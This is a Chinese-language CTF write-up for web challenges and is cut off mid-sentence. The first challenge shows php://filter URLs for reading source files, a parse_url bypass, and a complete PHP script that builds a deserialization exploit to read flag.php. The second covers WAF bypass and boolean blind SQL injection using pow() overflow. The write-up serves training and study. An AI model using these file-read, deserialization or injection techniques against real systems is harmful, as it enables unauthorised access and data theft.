Web安全
题目
赛题类型主要包括:逆向、漏洞挖掘与利用、Web 渗透、密码、隐写、安全编程等类别,考察参赛者不同维度的网络安全理论、技术水平。
JustSoso
知识点:任意文件读取,PHP 反序列化
根据 html注释 结合 php伪协议 ,可以读取出 index.php 和 hint.php 的源代码。
http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=index.php
http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=hint.php
php伪协议
首先我们先了解一下我们在CTF中可能遇到的文件包含函数:
1、include 2、require 3、include_once 4、require_once 5、highlight_file 6、show_source 7、readfile 8、file_get_contents 9、fopen 10、file(比较常见)
PHP伪协议事实上就是支持的协议与封装协议(12种)
-
file:// — 访问本地文件系统
-
http:// — 访问 HTTP(s) 网址
-
ftp:// — 访问 FTP(s) URLs
-
php:// — 访问各个输入/输出流(I/O streams)
-
zlib:// — 压缩流
-
data:// — 数据(RFC 2397)
-
glob:// — 查找匹配的文件路径模式
-
phar:// — PHP 归档
-
ssh2:// — Secure Shell 2
-
rar:// — RAR
-
ogg:// — 音频流
-
expect:// — 处理交互式的流
(php伪协议来源地址:https://www.php.cn/php-ask-430458.html)
index.php中会反序列化 $_GET[“payload”] ,且 parse_url 函数处理后不能包含 flag 字符串,用 /// 即可绕过 parse_url 函数,具体可参考 http://www.am0s.com/functions/406.html
PHP通过string serialize ( mixed $value )和mixed unserialize ( string $str )两个函数实现序列化和反序列化。
PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的。
hint.php中的对象在反序列化的时候,会先调用 __wakeup 绕过方法,其会把对象的所有属性置 null ,猜测考察的知识点是绕过 PHP反序列化 的一个 bug 。
DEMO如下:
构造Payload的例子,需反序列化的对象为:
O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
O:5:”SoFun” 指的是 类:5个字符:SoFun
:2: 指的是 有两个对象
S:7:”\00*\00file” 指的是有个属性,有7个字符,名为\00*\00file
s:8:”flag.php” 指的是属性值,有8个字符,值为flag.php
值得注意的是,file是protected属性,因此需要用\00*\00来表示,\00代表ascii为0的值。
index.php 有 file 和 payload 两个参数,先 include 了 file 所指向的文件,再经过一系列的检测之后 反序列化 payload。
hint.php 有两个类 Handle 和 Flag。 对于 Handle 类,它的魔术方法 Weakup 会清空其自身的成员变量,将其都置为 null。而其析构函数则会调用自身成员变量 handle 的 getFlag 方法。而 Flag 类就有这个 getFlag 方法了,其中会随机一个 md5(1~10000随机数) 的 flag_token,和自身的 token 做比较,相等就去读文件。看起来我们可以用这里来读 flag.php 文件了。
最后获取 flag 的地方,需要 $this->token === $this->token_flag ,而 $this->token_flag 在每次调用 getFlag 函数都会重新生成,这时候我们便可以用引用变量来解决这个问题。最终 payload 如下:
<?php
class Handle{
private $handle;
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token = &$this->token_flag;
}
public function getFlag(){
// $this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$flag = new Flag('flag.php');
$handle = new Handle($flag);
echo urlencode(str_replace('O:6:"Handle":1', 'O:6:"Handle":10', serialize($handle)));
?>
最后访问 http://xxx///index.php?file=hint.php&payload=上面生成的payload 即可得到flag。
全宇宙最简单的SQL
知识点:布尔型盲注,Waf Bypass,MySQL 客户端任意文件读取
WAF会将某些字符替换,经过测试(抓包,不断fuzz)发现主要观察到以下几个现象:username 有注入点,过滤了 |、or、sleep、if、benchmark、case 等字符。
返回信息有两种:
SQL语法正确的话,如果账号密码不对,会显示 登陆失败 。例如: username=admin&password=admin
SQL语法不正确的话,会显示 数据库操作失败 。例如: username=admin’&password=admin
那么我们可以利用逻辑运算符和溢出报错来进行注入,例如这里我们用 pow(9999,100) ,这个表达式的值在 MYSQL 中已经超出 double 范围,会溢出。如下图,当我们盲注语句结果为真时,就会执行到溢出语句,返回结果为 数据库操作失败 ;当我们盲注语句结果为假时,由于 and短路运算 ,根本不会执行到溢出语句,所以返回结果为 登陆失败 。
盲注是sql注入的一种,不会根据sql注入的攻击语句返回你想要知道的错误信息。盲注分为两类:
1.布尔盲注 布尔很明显Ture跟False,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
2.时间盲注 界面返回值只有一种,true 无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
通过这种注入方式,我们可以得到以下信息:
库名:ctf
用户:ctt123
但是无法注出表名和列名,因为 or 被过滤了, information_schema 就不能用了。
不过我们可以通过语句:admi